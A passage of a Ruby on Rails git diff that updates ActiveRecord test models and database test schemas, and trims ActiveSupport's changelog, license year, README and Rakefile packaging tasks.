self.table_name = 'ships' belongs_to :famous_pirate diff --git a/activerecord/test/models/shop_account.rb b/activerecord/test/models/shop_account.rb new file mode 100644 index 0000000000..1580e8b20c --- /dev/null +++ b/activerecord/test/models/shop_account.rb @@ -0,0 +1,6 @@ +class ShopAccount < ActiveRecord::Base + belongs_to :customer + belongs_to :customer_carrier + + has_one :carrier, through: :customer_carrier +end diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb index 80d4725f7e..b48b9a2155 100644 --- a/activerecord/test/models/tag.rb +++ b/activerecord/test/models/tag.rb @@ -5,3 +5,9 @@ class Tag < ActiveRecord::Base has_many :tagged_posts, :through => :taggings, :source => 'taggable', :source_type => 'Post' end + +class OrderedTag < Tag + self.table_name = "tags" + + has_many :taggings, -> { order('taggings.id DESC') }, foreign_key: 'tag_id' +end diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb index f81ffe1d90..176bc79dc7 100644 --- a/activerecord/test/models/topic.rb +++ b/activerecord/test/models/topic.rb @@ -32,7 +32,7 @@ class Topic < ActiveRecord::Base end end - has_many :replies, :dependent => :destroy, :foreign_key => "parent_id" + has_many :replies, dependent: :destroy, foreign_key: "parent_id", autosave: true has_many :approved_replies, -> { approved }, class_name: 'Reply', foreign_key: "parent_id", counter_cache: 'replies_count' has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id" @@ -86,7 +86,7 @@ class Topic < ActiveRecord::Base end def destroy_children - self.class.delete_all "parent_id = #{id}" + self.class.where("parent_id = #{id}").delete_all end def set_email_address diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb index ffc65466d5..63ff0c23ec 100644 --- a/activerecord/test/models/treasure.rb +++ b/activerecord/test/models/treasure.rb @@ -1,6 +1,7 @@ class Treasure < ActiveRecord::Base has_and_belongs_to_many :parrots belongs_to :looter, :polymorphic => true + # No counter_cache option given belongs_to :ship has_many :price_estimates, :as => :estimate_of diff --git a/activerecord/test/models/tree.rb b/activerecord/test/models/tree.rb new file mode 100644 index 0000000000..dc29cccc9c --- /dev/null +++ b/activerecord/test/models/tree.rb @@ -0,0 +1,3 @@ +class Tree < ActiveRecord::Base + has_many :nodes, dependent: :destroy +end diff --git a/activerecord/test/models/tuning_peg.rb b/activerecord/test/models/tuning_peg.rb new file mode 100644 index 0000000000..1252d6dc1d --- /dev/null +++ b/activerecord/test/models/tuning_peg.rb @@ -0,0 +1,4 @@ +class TuningPeg < ActiveRecord::Base + belongs_to :guitar + validates_numericality_of :pitch +end diff --git a/activerecord/test/models/uuid_item.rb b/activerecord/test/models/uuid_item.rb new file mode 100644 index 0000000000..2353e40213 --- /dev/null +++ b/activerecord/test/models/uuid_item.rb @@ -0,0 +1,6 @@ +class UuidItem < ActiveRecord::Base +end + +class UuidValidatingItem < UuidItem + validates_uniqueness_of :uuid +end diff --git a/activerecord/test/models/vehicle.rb b/activerecord/test/models/vehicle.rb new file mode 100644 index 0000000000..ef26170f1f --- /dev/null +++ b/activerecord/test/models/vehicle.rb @@ -0,0 +1,7 @@ +class Vehicle < ActiveRecord::Base + self.abstract_class = true + default_scope -> { where("tires_count IS NOT NULL") } +end + +class Bus < Vehicle +end
\ No newline at end of file diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb index d6fd0c4ab0..5a49b38457 100644 --- a/activerecord/test/schema/mysql2_specific_schema.rb +++ b/activerecord/test/schema/mysql2_specific_schema.rb @@ -1,28 +1,40 @@ ActiveRecord::Schema.define do + + if ActiveRecord::Base.connection.version >= '5.6.0' + create_table :datetime_defaults, force: true do |t| + t.datetime :modified_datetime, default: -> { 'CURRENT_TIMESTAMP' } + end + end + create_table :binary_fields, force: true do |t| t.binary :var_binary, limit: 255 t.binary :var_binary_large, limit: 4095 - t.column :tiny_blob, 'tinyblob', limit: 255 - t.binary :normal_blob, limit: 65535 - t.binary :medium_blob, limit: 16777215 - t.binary :long_blob, limit: 2147483647 - t.text :tiny_text, limit: 255 - t.text :normal_text, limit: 65535 - t.text :medium_text, limit: 16777215 - t.text :long_text, limit: 2147483647 - end + t.tinyblob :tiny_blob + t.blob :normal_blob + t.mediumblob :medium_blob + t.longblob :long_blob + t.tinytext :tiny_text + t.text :normal_text + t.mediumtext :medium_text + t.longtext :long_text - add_index :binary_fields, :var_binary + t.index :var_binary + end - create_table :key_tests, force: true, :options => 'ENGINE=MyISAM' do |t| + create_table :key_tests, force: true, options: 'ENGINE=MyISAM' do |t| t.string :awesome t.string :pizza t.string :snacks + t.index :awesome, type: :fulltext, name: 'index_key_tests_on_awesome' + t.index :pizza, using: :btree, name: 'index_key_tests_on_pizza' + t.index :snacks, name: 'index_key_tests_on_snack' end - add_index :key_tests, :awesome, :type => :fulltext, :name => 'index_key_tests_on_awesome' - add_index :key_tests, :pizza, :using => :btree, :name => 'index_key_tests_on_pizza' - add_index :key_tests, :snacks, :name => 'index_key_tests_on_snack' + create_table :collation_tests, id: false, force: true do |t| + t.string :string_cs_column, limit: 1, collation: 'utf8_bin' + t.string :string_ci_column, limit: 1, collation: 'utf8_general_ci' + t.binary :binary_column, limit: 1 + end ActiveRecord::Base.connection.execute <<-SQL DROP PROCEDURE IF EXISTS ten; @@ -35,20 +47,22 @@ BEGIN END SQL - ActiveRecord::Base.connection.drop_table "collation_tests", if_exists: true + ActiveRecord::Base.connection.execute <<-SQL +DROP PROCEDURE IF EXISTS topics; +SQL ActiveRecord::Base.connection.execute <<-SQL -CREATE TABLE collation_tests ( - string_cs_column VARCHAR(1) COLLATE utf8_bin, - string_ci_column VARCHAR(1) COLLATE utf8_general_ci -) CHARACTER SET utf8 COLLATE utf8_general_ci +CREATE PROCEDURE topics(IN num INT) SQL SECURITY INVOKER +BEGIN + select * from topics limit num; +END SQL ActiveRecord::Base.connection.drop_table "enum_tests", if_exists: true ActiveRecord::Base.connection.execute <<-SQL CREATE TABLE enum_tests ( - enum_column ENUM('text','blob','tiny','medium','long') + enum_column ENUM('text','blob','tiny','medium','long','unsigned','bigint') ) SQL end diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb deleted file mode 100644 index b5378341b5..0000000000 --- a/activerecord/test/schema/mysql_specific_schema.rb +++ /dev/null @@ -1,66 +0,0 @@ -ActiveRecord::Schema.define do - create_table :binary_fields, force: true do |t| - t.binary :var_binary, limit: 255 - t.binary :var_binary_large, limit: 4095 - t.column :tiny_blob, 'tinyblob', limit: 255 - t.binary :normal_blob, limit: 65535 - t.binary :medium_blob, limit: 16777215 - t.binary :long_blob, limit: 2147483647 - t.text :tiny_text, limit: 255 - t.text :normal_text, limit: 65535 - t.text :medium_text, limit: 16777215 - t.text :long_text, limit: 2147483647 - end - - add_index :binary_fields, :var_binary - - create_table :key_tests, force: true, :options => 'ENGINE=MyISAM' do |t| - t.string :awesome - t.string :pizza - t.string :snacks - end - - add_index :key_tests, :awesome, :type => :fulltext, :name => 'index_key_tests_on_awesome' - add_index :key_tests, :pizza, :using => :btree, :name => 'index_key_tests_on_pizza' - add_index :key_tests, :snacks, :name => 'index_key_tests_on_snack' - - ActiveRecord::Base.connection.execute <<-SQL -DROP PROCEDURE IF EXISTS ten; -SQL - - ActiveRecord::Base.connection.execute <<-SQL -CREATE PROCEDURE ten() SQL SECURITY INVOKER -BEGIN - select 10; -END -SQL - - ActiveRecord::Base.connection.execute <<-SQL -DROP PROCEDURE IF EXISTS topics; -SQL - - ActiveRecord::Base.connection.execute <<-SQL -CREATE PROCEDURE topics() SQL SECURITY INVOKER -BEGIN - select * from topics limit 1; -END -SQL - - ActiveRecord::Base.connection.drop_table "collation_tests", if_exists: true - - ActiveRecord::Base.connection.execute <<-SQL -CREATE TABLE collation_tests ( - string_cs_column VARCHAR(1) COLLATE utf8_bin, - string_ci_column VARCHAR(1) COLLATE utf8_general_ci -) CHARACTER SET utf8 COLLATE utf8_general_ci -SQL - - ActiveRecord::Base.connection.drop_table "enum_tests", if_exists: true - - ActiveRecord::Base.connection.execute <<-SQL -CREATE TABLE enum_tests ( - enum_column ENUM('text','blob','tiny','medium','long') -) -SQL - -end diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb index f84be0e7f4..24713f722a 100644 --- a/activerecord/test/schema/postgresql_specific_schema.rb +++ b/activerecord/test/schema/postgresql_specific_schema.rb @@ -1,6 +1,33 @@ ActiveRecord::Schema.define do - %w(postgresql_times postgresql_oids defaults postgresql_timestamp_with_zones + enable_extension!('uuid-ossp', ActiveRecord::Base.connection) + + create_table :uuid_parents, id: :uuid, force: true do |t| + t.string :name + end + + create_table :uuid_children, id: :uuid, force: true do |t| + t.string :name + t.uuid :uuid_parent_id + end + + create_table :defaults, force: true do |t| + t.date :modified_date, default: -> { 'CURRENT_DATE' } + t.date :modified_date_function, default: -> { 'now()' } + t.date :fixed_date, default: '2004-01-01' + t.datetime :modified_time, default: -> { 'CURRENT_TIMESTAMP' } + t.datetime :modified_time_function, default: -> { 'now()' } + t.datetime :fixed_time, default: '2004-01-01 00:00:00.000000-00' + t.column :char1, 'char(1)', default: 'Y' + t.string :char2, limit: 50, default: 'a varchar field' + t.text :char3, default: 'a text field' + t.bigint :bigint_default, default: -> { '0::bigint' } + t.text :multiline_default, default: '--- [] + +' + end + + %w(postgresql_times postgresql_oids postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent).each do |table_name| drop_table table_name, if_exists: true end @@ -17,25 +44,6 @@ ActiveRecord::Schema.define do end execute <<_SQL - CREATE TABLE defaults ( - id serial primary key, - modified_date date default CURRENT_DATE, - modified_date_function date default now(), - fixed_date date default '2004-01-01', - modified_time timestamp default CURRENT_TIMESTAMP, - modified_time_function timestamp default now(), - fixed_time timestamp default '2004-01-01 00:00:00.000000-00', - char1 char(1) default 'Y', - char2 character varying(50) default 'a varchar field', - char3 text default 'a text field', - bigint_default bigint default 0::bigint, - multiline_default text DEFAULT '--- [] - -'::text -); -_SQL - - execute <<_SQL CREATE TABLE postgresql_times ( id SERIAL PRIMARY KEY, time_interval INTERVAL, @@ -93,4 +101,14 @@ _SQL t.binary :binary, limit: 100_000 t.text :text, limit: 100_000 end + + create_table :bigint_array, force: true do |t| + t.integer :big_int_data_points, limit: 8, array: true + t.decimal :decimal_array_default, array: true, default: [1.23, 3.45] + end + + create_table :uuid_items, force: true, id: false do |t| + t.uuid :uuid, primary_key: true + t.string :title + end end diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb index 7b42f8a4a5..628a59c2e3 100644 --- a/activerecord/test/schema/schema.rb +++ b/activerecord/test/schema/schema.rb @@ -1,25 +1,4 @@ - ActiveRecord::Schema.define do - def except(adapter_names_to_exclude) - unless [adapter_names_to_exclude].flatten.include?(adapter_name) - yield - end - end - - #put adapter specific setup here - case adapter_name - when "PostgreSQL" - enable_extension!('uuid-ossp', ActiveRecord::Base.connection) - create_table :uuid_parents, id: :uuid, force: true do |t| - t.string :name - end - create_table :uuid_children, id: :uuid, force: true do |t| - t.string :name - t.uuid :uuid_parent_id - end - end - - # ------------------------------------------------------------------- # # # # Please keep these create table statements in alphabetical order # @@ -51,6 +30,7 @@ ActiveRecord::Schema.define do create_table :aircraft, force: true do |t| t.string :name + t.integer :wheels_count, default: 0, null: false end create_table :articles, force: true do |t| @@ -114,6 +94,11 @@ ActiveRecord::Schema.define do t.column :status, :integer, default: 0 t.column :read_status, :integer, default: 0 t.column :nullable_status, :integer + t.column :language, :integer, default: 0 + t.column :author_visibility, :integer, default: 0 + t.column :illustrator_visibility, :integer, default: 0 + t.column :font_size, :integer, default: 0 + t.column :cover, :string, default: 'hard' end create_table :booleans, force: true do |t| @@ -124,7 +109,7 @@ ActiveRecord::Schema.define do create_table :bulbs, force: true do |t| t.integer :car_id t.string :name - t.boolean :frickinawesome + t.boolean :frickinawesome, default: false t.string :color end @@ -140,6 +125,8 @@ ActiveRecord::Schema.define do t.timestamps null: false end + create_table :carriers, force: true + create_table :categories, force: true do |t| t.string :name, null: false t.string :type @@ -209,11 +196,19 @@ ActiveRecord::Schema.define do t.integer :rating, default: 1 t.integer :account_id t.string :description, default: "" + t.index [:firm_id, :type, :rating], name: "company_index" + t.index [:firm_id, :type], name: "company_partial_index", where: "rating > 10" + t.index :name, name: 'company_name_index', using: :btree + t.index 'lower(name)', name: "company_expression_index" if supports_expression_index? end - add_index :companies, [:firm_id, :type, :rating], name: "company_index" - add_index :companies, [:firm_id, :type], name: "company_partial_index", where: "rating > 10" - add_index :companies, :name, name: 'company_name_index', using: :btree + create_table :content, force: true do |t| + t.string :title + end + + create_table :content_positions, force: true do |t| + t.integer :content_id + end create_table :vegetables, force: true do |t| t.string :name @@ -246,6 +241,11 @@ ActiveRecord::Schema.define do t.string :gps_location end + create_table :customer_carriers, force: true do |t| + t.references :customer + t.references :carrier + end + create_table :dashboards, force: true, id: false do |t| t.string :dashboard_id t.string :name @@ -253,11 +253,21 @@ ActiveRecord::Schema.define do create_table :developers, force: true do |t| t.string :name + t.string :first_name t.integer :salary, default: 70000 - t.datetime :created_at - t.datetime :updated_at - t.datetime :created_on - t.datetime :updated_on + t.integer :firm_id + t.integer :mentor_id + if subsecond_precision_supported? + t.datetime :created_at, precision: 6 + t.datetime :updated_at, precision: 6 + t.datetime :created_on, precision: 6 + t.datetime :updated_on, precision: 6 + else + t.datetime :created_at + t.datetime :updated_at + t.datetime :created_on + t.datetime :updated_on + end end create_table :developers_projects, force: true, id: false do |t| @@ -280,11 +290,16 @@ ActiveRecord::Schema.define do t.string :alias end + create_table :doubloons, force: true do |t| + t.integer :pirate_id + t.integer :weight + end + create_table :edges, force: true, id: false do |t| t.column :source_id, :integer, null: false t.column :sink_id, :integer, null: false + t.index [:source_id, :sink_id], unique: true, name: 'unique_edge_index' end - add_index :edges, [:source_id, :sink_id], unique: true, name: 'unique_edge_index' create_table :engines, force: true do |t| t.integer :car_id @@ -336,6 +351,10 @@ ActiveRecord::Schema.define do t.column :key, :string end + create_table :guitars, force: true do |t| + t.string :color + end + create_table :inept_wizards, force: true do |t| t.column :name, :string, null: false t.column :city, :string, null: false @@ -351,7 +370,11 @@ ActiveRecord::Schema.define do create_table :invoices, force: true do |t| t.integer :balance - t.datetime :updated_at + if subsecond_precision_supported? + t.datetime :updated_at, precision: 6 + else + t.datetime :updated_at + end end create_table :iris, force: true do |t| @@ -393,6 +416,11 @@ ActiveRecord::Schema.define do t.integer :amount end + create_table :lions, force: true do |t| + t.integer :gender + t.boolean :is_vegetarian, default: false + end + create_table :lock_without_defaults, force: true do |t| t.column :lock_version, :integer end @@ -437,6 +465,10 @@ ActiveRecord::Schema.define do t.string :name end + create_table :mentors, force: true do |t| + t.string :name + end + create_table :minivans, force: true, id: false do |t| t.string :minivan_id t.string :name @@ -501,7 +533,11 @@ ActiveRecord::Schema.define do create_table :owners, primary_key: :owner_id, force: true do |t| t.string :name - t.column :updated_at, :datetime + if subsecond_precision_supported? + t.column :updated_at, :datetime, precision: 6 + else + t.column :updated_at, :datetime + end t.column :happy_at, :datetime t.string :essay_id end @@ -519,10 +555,17 @@ ActiveRecord::Schema.define do t.column :color, :string t.column :parrot_sti_class, :string t.column :killer_id, :integer - t.column :created_at, :datetime - t.column :created_on, :datetime - t.column :updated_at, :datetime - t.column :updated_on, :datetime + if subsecond_precision_supported? + t.column :created_at, :datetime, precision: 0 + t.column :created_on, :datetime, precision: 0 + t.column :updated_at, :datetime, precision: 0 + t.column :updated_on, :datetime, precision: 0 + else + t.column :created_at, :datetime + t.column :created_on, :datetime + t.column :updated_at, :datetime + t.column :updated_on, :datetime + end end create_table :parrots_pirates, id: false, force: true do |t| @@ -565,15 +608,30 @@ ActiveRecord::Schema.define do create_table :pets, primary_key: :pet_id, force: true do |t| t.string :name t.integer :owner_id, :integer - t.timestamps null: false + if subsecond_precision_supported? + t.timestamps null: false, precision: 6 + else + t.timestamps null: false + end + end + + create_table :pets_treasures, force: true do |t| + t.column :treasure_id, :integer + t.column :pet_id, :integer + t.column :rainbow_color, :string end create_table :pirates, force: true do |t| t.column :catchphrase, :string t.column :parrot_id, :integer t.integer :non_validated_parrot_id - t.column :created_on, :datetime - t.column :updated_on, :datetime + if subsecond_precision_supported? + t.column :created_on, :datetime, precision: 6 + t.column :updated_on, :datetime, precision: 6 + else + t.column :created_on, :datetime + t.column :updated_on, :datetime + end end create_table :posts, force: true do |t| @@ -624,6 +682,8 @@ ActiveRecord::Schema.define do create_table :projects, force: true do |t| t.string :name t.string :type + t.integer :firm_id + t.integer :mentor_id end create_table :randomly_named_table1, force: true do |t| @@ -670,7 +730,10 @@ ActiveRecord::Schema.define do create_table :ships, force: true do |t| t.string :name t.integer :pirate_id + t.belongs_to :developer t.integer :update_only_pirate_id + # Conventionally named column for counter_cache + t.integer :treasures_count, default: 0 t.datetime :created_at t.datetime :created_on t.datetime :updated_at @@ -680,7 +743,20 @@ ActiveRecord::Schema.define do create_table :ship_parts, force: true do |t| t.string :name t.integer :ship_id - t.datetime :updated_at + if subsecond_precision_supported? + t.datetime :updated_at, precision: 6 + else + t.datetime :updated_at + end + end + + create_table :prisoners, force: true do |t| + t.belongs_to :ship + end + + create_table :shop_accounts, force: true do |t| + t.references :customer + t.references :customer_carrier end create_table :speedometers, force: true, id: false do |t| @@ -711,8 +787,8 @@ ActiveRecord::Schema.define do t.string :nick, null: false t.string :name t.column :books_count, :integer, null: false, default: 0 + t.index :nick, unique: true end - add_index :subscribers, :nick, unique: true create_table :subscriptions, force: true do |t| t.string :subscriber_id @@ -741,7 +817,7 @@ ActiveRecord::Schema.define do t.string :title, limit: 250 t.string :author_name t.string :author_email_address - if mysql_56? + if subsecond_precision_supported? t.datetime :written_on, precision: 6 else t.datetime :written_on @@ -764,7 +840,11 @@ ActiveRecord::Schema.define do t.string :parent_title t.string :type t.string :group - t.timestamps null: true + if subsecond_precision_supported? + t.timestamps null: true, precision: 6 + else + t.timestamps null: true + end end create_table :toys, primary_key: :toy_id, force: true do |t| @@ -789,6 +869,11 @@ ActiveRecord::Schema.define do t.belongs_to :ship end + create_table :tuning_pegs, force: true do |t| + t.integer :guitar_id + t.float :pitch + end + create_table :tyres, force: true do |t| t.integer :car_id end @@ -850,7 +935,7 @@ ActiveRecord::Schema.define do t.string :treaty_id t.string :name end - create_table :countries_treaties, force: true, id: false do |t| + create_table :countries_treaties, force: true, primary_key: [:country_id, :treaty_id] do |t| t.string :country_id, null: false t.string :treaty_id, null: false end @@ -872,6 +957,17 @@ ActiveRecord::Schema.define do t.string 'from' end + create_table :nodes, force: true do |t| + t.integer :tree_id + t.integer :parent_id + t.string :name + t.datetime :updated_at + end + create_table :trees, force: true do |t| + t.string :name + t.datetime :updated_at + end + create_table :hotels, force: true do |t| end create_table :departments, force: true do |t| @@ -885,6 +981,8 @@ ActiveRecord::Schema.define do t.integer :employable_id t.string :employable_type t.integer :department_id + t.string :employable_list_type + t.integer :employable_list_id end create_table :recipes, force: true do |t| t.integer :chef_id @@ -894,7 +992,7 @@ ActiveRecord::Schema.define do create_table :records, force: true do |t| end - except 'SQLite' do + if supports_foreign_keys? # fk_test_has_fk should be before fk_test_has_pk create_table :fk_test_has_fk, force: true do |t| t.integer :fk_id, null: false @@ -918,6 +1016,10 @@ ActiveRecord::Schema.define do t.string :token t.string :auth_token end + + create_table :test_with_keyword_column_name, force: true do |t| + t.string :desc + end end Course.connection.create_table :courses, force: true do |t| @@ -928,3 +1030,12 @@ end College.connection.create_table :colleges, force: true do |t| t.column :name, :string, null: false end + +Professor.connection.create_table :professors, force: true do |t| + t.column :name, :string, null: false +end + +Professor.connection.create_table :courses_professors, id: false, force: true do |t| + t.references :course + t.references :professor +end diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb index b5552c2755..cc7c36fe2b 100644 --- a/activerecord/test/schema/sqlite_specific_schema.rb +++ b/activerecord/test/schema/sqlite_specific_schema.rb @@ -1,8 +1,4 @@ ActiveRecord::Schema.define do - create_table :table_with_autoincrement, :force => true do |t| - t.column :name, :string - end - execute "DROP TABLE fk_test_has_fk" rescue nil execute "DROP TABLE fk_test_has_pk" rescue nil execute <<_SQL diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb index d11fd9cfc1..c5334e8596 100644 --- a/activerecord/test/support/connection.rb +++ b/activerecord/test/support/connection.rb @@ -1,6 +1,7 @@ require 'active_support/logger' require 'models/college' require 'models/course' +require 'models/professor' module ARTest def self.connection_name diff --git a/activerecord/test/support/schema_dumping_helper.rb b/activerecord/test/support/schema_dumping_helper.rb index 2d1651454d..666c1b6a14 100644 --- a/activerecord/test/support/schema_dumping_helper.rb +++ b/activerecord/test/support/schema_dumping_helper.rb @@ -1,7 +1,7 @@ module SchemaDumpingHelper def dump_table_schema(table, connection = ActiveRecord::Base.connection) old_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables - ActiveRecord::SchemaDumper.ignore_tables = connection.tables - [table] + ActiveRecord::SchemaDumper.ignore_tables = connection.data_sources - [table] stream = StringIO.new ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream) stream.string diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md index dd5f9b0e21..25b8af7d34 100644 --- a/activesupport/CHANGELOG.md +++ b/activesupport/CHANGELOG.md @@ -1,215 +1,6 @@ -* Fixed a problem with ActiveSupport::SafeBuffer.titleize calling capitalize - on nil. +* Rescuable: If a handler doesn't match the exception, check for handlers + matching the exception's cause. - *Brian McManus* - -* Added `#without` on `Enumerable` and `Array` to return a copy of an - enumerable without the specified elements. + *Jeremy Daer* - *Todd Bealmear* - -* Fixed a problem where String#truncate_words would get stuck with a complex - string. - - *Henrik Nygren* - -* Fixed a roundtrip problem with AS::SafeBuffer where primitive-like strings - will be dumped as primitives: - - Before: - - YAML.load ActiveSupport::SafeBuffer.new("Hello").to_yaml # => "Hello" - YAML.load ActiveSupport::SafeBuffer.new("true").to_yaml # => true - YAML.load ActiveSupport::SafeBuffer.new("false").to_yaml # => false - YAML.load ActiveSupport::SafeBuffer.new("1").to_yaml # => 1 - YAML.load ActiveSupport::SafeBuffer.new("1.1").to_yaml # => 1.1 - - After: - - YAML.load ActiveSupport::SafeBuffer.new("Hello").to_yaml # => "Hello" - YAML.load ActiveSupport::SafeBuffer.new("true").to_yaml # => "true" - YAML.load ActiveSupport::SafeBuffer.new("false").to_yaml # => "false" - YAML.load ActiveSupport::SafeBuffer.new("1").to_yaml # => "1" - YAML.load ActiveSupport::SafeBuffer.new("1.1").to_yaml # => "1.1" - - *Godfrey Chan* - -* Enable `number_to_percentage` to keep the number's precision by allowing - `:precision` to be `nil`. - - *Jack Xu* - -* `config_accessor` became a private method, as with Ruby's `attr_accessor`. - - *Akira Matsuda* - -* `AS::Testing::TimeHelpers#travel_to` now changes `DateTime.now` as well as - `Time.now` and `Date.today`. - - *Yuki Nishijima* - -* Add `file_fixture` to `ActiveSupport::TestCase`. - It provides a simple mechanism to access sample files in your test cases. - - By default file fixtures are stored in `test/fixtures/files`. This can be - configured per test-case using the `file_fixture_path` class attribute. - - *Yves Senn* - -* Return value of yielded block in `File.atomic_write`. - - *Ian Ker-Seymer* - -* Duplicate frozen array when assigning it to a HashWithIndifferentAccess so - that it doesn't raise a `RuntimeError` when calling `map!` on it in `convert_value`. - - Fixes #18550. - - *Aditya Kapoor* - -* Add missing time zone definitions for Russian Federation and sync them - with `zone.tab` file from tzdata version 2014j (latest). - - *Andrey Novikov* - -* Add `SecureRandom.base58` for generation of random base58 strings. - - *Matthew Draper*, *Guillermo Iguaran* - -* Add `#prev_day` and `#next_day` counterparts to `#yesterday` and - `#tomorrow` for `Date`, `Time`, and `DateTime`. - - *George Claghorn* - -* Add `same_time` option to `#next_week` and `#prev_week` for `Date`, `Time`, - and `DateTime`. - - *George Claghorn* - -* Add `#on_weekend?`, `#next_weekday`, `#prev_weekday` methods to `Date`, - `Time`, and `DateTime`. - - `#on_weekend?` returns true if the receiving date/time falls on a Saturday - or Sunday. - - `#next_weekday` returns a new date/time representing the next day that does - not fall on a Saturday or Sunday. - - `#prev_weekday` returns a new date/time representing the previous day that - does not fall on a Saturday or Sunday. - - *George Claghorn* - -* Change the default test order from `:sorted` to `:random`. - - *Rafael Mendonça França* - -* Remove deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. - - *Rafael Mendonça França* - -* Remove deprecated methods `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=` - and `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string`. - - *Rafael Mendonça França* - -* Remove deprecated `ActiveSupport::SafeBuffer#prepend`. - - *Rafael Mendonça França* - -* Remove deprecated methods at `Kernel`. - - `silence_stderr`, `silence_stream`, `capture` and `quietly`. - - *Rafael Mendonça França* - -* Remove deprecated `active_support/core_ext/big_decimal/yaml_conversions` - file. - - *Rafael Mendonça França* - -* Remove deprecated methods `ActiveSupport::Cache::Store.instrument` and - `ActiveSupport::Cache::Store.instrument=`. - - *Rafael Mendonça França* - -* Change the way in which callback chains can be halted. - - The preferred method to halt a callback chain from now on is to explicitly - `throw(:abort)`. - In the past, returning `false` in an ActiveSupport callback had the side - effect of halting the callback chain. This is not recommended anymore and, - depending on the value of - `Callbacks::CallbackChain.halt_and_display_warning_on_return_false`, will - either not work at all or display a deprecation warning. - -* Add Callbacks::CallbackChain.halt_and_display_warning_on_return_false - - Setting `Callbacks::CallbackChain.halt_and_display_warning_on_return_false` - to true will let an app support the deprecated way of halting callback - chains by returning `false`. - - Setting the value to false will tell the app to ignore any `false` value - returned by callbacks, and only halt the chain upon `throw(:abort)`. - - The value can also be set with the Rails configuration option - `config.active_support.halt_callback_chains_on_return_false`. - - When the configuration option is missing, its value is `true`, so older apps - ported to Rails 5.0 will not break (but display a deprecation warning). - For new Rails 5.0 apps, its value is set to `false` in an initializer, so - these apps will support the new behavior by default. - - *claudiob* - -* Changes arguments and default value of CallbackChain's :terminator option - - Chains of callbacks defined without an explicit `:terminator` option will - now be halted as soon as a `before_` callback throws `:abort`. - - Chains of callbacks defined with a `:terminator` option will maintain their - existing behavior of halting as soon as a `before_` callback matches the - terminator's expectation. - - *claudiob* - -* Deprecate `MissingSourceFile` in favor of `LoadError`. - - `MissingSourceFile` was just an alias to `LoadError` and was not being - raised inside the framework. - - *Rafael Mendonça França* - -* Add support for error dispatcher classes in `ActiveSupport::Rescuable`. - Now it acts closer to Ruby's rescue. - - Example: - - class BaseController < ApplicationController - module ErrorDispatcher - def self.===(other) - Exception === other && other.respond_to?(:status) - end - end - - rescue_from ErrorDispatcher do |error| - render status: error.status, json: { error: error.to_s } - end - end - - *Genadi Samokovarov* - -* Add `#verified` and `#valid_message?` methods to `ActiveSupport::MessageVerifier` - - Previously, the only way to decode a message with `ActiveSupport::MessageVerifier` - was to use `#verify`, which would raise an exception on invalid messages. Now - `#verified` can also be used, which returns `nil` on messages that cannot be - decoded. - - Previously, there was no way to check if a message's format was valid without - attempting to decode it. `#valid_message?` is a boolean convenience method that - checks whether the message is valid without actually decoding it. - - *Logan Leger* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activesupport/CHANGELOG.md) for previous changes. diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE index 7bffebb076..40235833ba 100644 --- a/activesupport/MIT-LICENSE +++ b/activesupport/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2005-2015 David Heinemeier Hansson +Copyright (c) 2005-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the @@ -17,4 +17,4 @@ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc index a6424a353a..14ce204303 100644 --- a/activesupport/README.rdoc +++ b/activesupport/README.rdoc @@ -10,7 +10,7 @@ outside of Rails. The latest version of Active Support can be installed with RubyGems: - % [sudo] gem install activesupport + $ gem install activesupport Source code can be downloaded as part of the Rails project on GitHub: @@ -37,4 +37,3 @@ Bug reports can be filed for the Ruby on Rails project here: Feature requests should be discussed on the rails-core mailing list here: * https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core - diff --git a/activesupport/Rakefile b/activesupport/Rakefile index 7c40df8dc8..33ee62aa1b 100644 --- a/activesupport/Rakefile +++ b/activesupport/Rakefile @@ -1,7 +1,10 @@ require 'rake/testtask' -require 'rubygems/package_task' task :default => :test + +task :package +task "package:clean" + Rake::TestTask.new do |t| t.libs << 'test' t.pattern = 'test/**/*_test.rb' @@ -17,16 +20,3 @@ namespace :test do end or raise "Failures" end end - -spec = eval(File.read('activesupport.gemspec')) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -desc "Release to rubygems" -task :release => :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec index 2cb455cb41..c6ca969844 100644 --- a/activesupport/activesupport.gemspec +++ 